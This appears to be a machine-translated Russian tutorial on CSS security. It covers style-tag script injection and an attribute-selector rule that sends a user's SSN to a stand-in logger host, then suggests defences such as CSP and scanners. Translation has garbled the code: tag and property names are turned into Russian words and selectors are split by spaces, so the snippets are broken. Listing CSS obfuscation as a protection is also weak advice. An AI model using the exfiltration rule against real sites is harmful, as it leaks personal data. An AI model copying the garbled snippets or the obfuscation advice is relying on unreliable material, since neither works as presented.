Как защитить каскадные таблицы стилей?

Прежде чем узнать, как защитить каскадные таблицы стилей, давайте сначала исследуем угрозы, которые могут возникнуть из-за каскадных таблиц стилей.

Угроза 1. Предположим, что мы используем встроенный / внутренний CSS в нашем коде, и вы разрешаете пользователю некоторую настройку CSS, тогда есть вероятность, что злоумышленник может внедрить код JavaScript, закрыв тег стиля в настраиваемом внутреннем CSS. .

Обратитесь к приведенному ниже фрагменту для лучшего понимания.
Фрагмент кода:

<стиль>

/ * Если вы добавили гибкость в 
   настроить CSS пользователем * /

/ * Настраиваемый CSS

</style>

Злоумышленник может добавить вредоносный код JavaScript, закрыв тег стиля и добавив тег скрипта, как показано ниже.

 
<стиль>

</style>
<сценарий>

// Какой-то вредоносный код JavaScript
</script>
<стиль>

</style>

Это происходит в редких случаях, так как пользователю может не быть предоставлена возможность всегда настраивать каскадные таблицы стилей.

Угроза 2. Предположим, вы вошли на веб-сайт и на нем отображается некоторая конфиденциальная информация, например номер социального страхования (ssn), тогда есть вероятность, что злоумышленник
можно получить эту конфиденциальную информацию с помощью селекторов атрибутов CSS.

Код:

input # ssn [value = "999-888-777"] { 
    фоновое изображение: url (
"https://secret-site.com/logger.php?ssn=999-888-777");
}

Как защитить каскадные таблицы стилей?

1. Надлежащий уровень контроля доступа: держите CSS подальше от уровня контроля доступа. Термин «уровень контроля доступа» означает, что у обычного пользователя будет другой файл CSS, а у администратора - другой файл CSS. Следует позаботиться о тех соответствующих файлах CSS, которые доступны только для пользователя с надлежащим уровнем контроля доступа или аутентификации.

2. Обфускация CSS: метод обфускации CSS заключается в том, чтобы сделать CSS неясным или запутанным для злоумышленника. Обфускация CSS может быть выполнена на следующих веб-сайтах.

    http://cssobfuscator.com/
   https://www.uglifycss.com/

3. Внедрение политики безопасности контента (CSP): Политика безопасности контента (CSP) помогает обнаруживать многие типы атак, такие как атаки путем внедрения данных и межсайтовые сценарии (XSS). Таким образом обеспечивается дополнительный уровень безопасности от кражи данных, распространения вредоносных программ и замены вашего собственного содержимого на некоторых украденных веб-сайтах.

   Вы можете настроить CSP с помощью метатега, как показано ниже.

   <meta http-Equiv = "Content-Security-Policy"
   charset = "UTF-8" content = "default-src 'self';
   img-src 'self' img.example.com; ">
   

4. Сканирование веб-сайта с помощью сканера уязвимостей: сканирование вашего веб-сайта с помощью сканера уязвимостей - лучшая практика, эти сканеры не только обнаруживают инъекции CSS или XSS, но также демонстрируют другие возможные уязвимости на вашем веб-сайте.

   Некоторые онлайн-сканеры уязвимостей

   https://pentest-tools.com/website-vulnerability-scanning/website-scanner https://sitecheck.sucuri.net/
   https://www.netsparker.com/web-vulnerability-scanner/

   Это некоторые из методов защиты ваших каскадных таблиц стилей.